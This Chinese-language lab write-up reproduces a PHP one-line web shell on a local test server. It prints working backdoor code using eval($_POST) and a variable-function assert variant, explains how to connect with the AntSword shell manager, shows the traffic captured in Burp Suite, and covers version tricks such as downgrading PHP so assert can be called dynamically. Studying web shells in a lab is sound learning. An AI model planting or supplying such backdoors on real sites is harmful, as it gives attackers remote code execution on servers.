复现一句话木马

启动Apache服务，编写一句话木马

通过小皮软件来启动Apache服务,在根目录中创建php文件、
在创建的文件中编写代码

<?php
eval($_POST['2']);
?>

然后使用中国蚁剑进行测试。

首先右键添加一个新的数据，将刚刚编写的文件名输入到URL地址中，然后连接密码设置的是2。连接类写也改成base64。

然后点击测试连接，可以看到右下角会显示连接成功。

因为这里有一些脚本运行支持，所以网站里面的内容都是可以看见的。并且可以看到他的目录结构，点击进入文件的话也是可以进行编辑的。

我们修改一下php代码，将他改写为：

<?php
$_POST['1']($_POST['2']);
?>

并在中国蚁剑中修改刚刚加入的**/127.0.0.1/muma_demo.php的URL

这里通过"1"提交"eval"，这个一提交；就相当于我们写的$_POST[‘1’]替代为eval**，但是这种方式连接是错误的。

但是刚刚直接使用eval进行连接的时候是可以连接的，为什么这样替换就不可以了？
这里就要说一下eval的规则：eval是一个语言构造器，他不是一个函数，所以不能被可变函数进行调用。

使用assert；assert也可以执行任意命令，

这样也不能执行成功，使用burp suite工具抓包来查看

发现了2的值是直接输入的的一些PHP获取文件的函数的字符串，但是assert()函数的参数不可以使用字符串。可以用的是表达式和函数才可以执行。
改变一下编码方式：

再次抓包，可以看到编码方式变成了base64，也就是满足了assert()函数参数必须是函数的条件。

也可以使用1=assert；2=eval($_post[‘3’])的方式来尝试连接。

这样的话同时满足了assert()的参数必须是函数和表达式中的一种，和eval语句中有可以传递的参数，所以连接成功。

一开始访问的时候一直出错，即便是使用1=assert&2也是显示结果为空值，也是会显示

解决的方式就是修改了一下我的php版本，一开始我用实验的版本是7. 3.4的，后面改成了5.3.29的版本扣可以了；因为php7.2以上的版本中将assert()也当做了一个语言结构，而不是函数，所以变得和eval语句一样，就不可以使用可变函数构造了。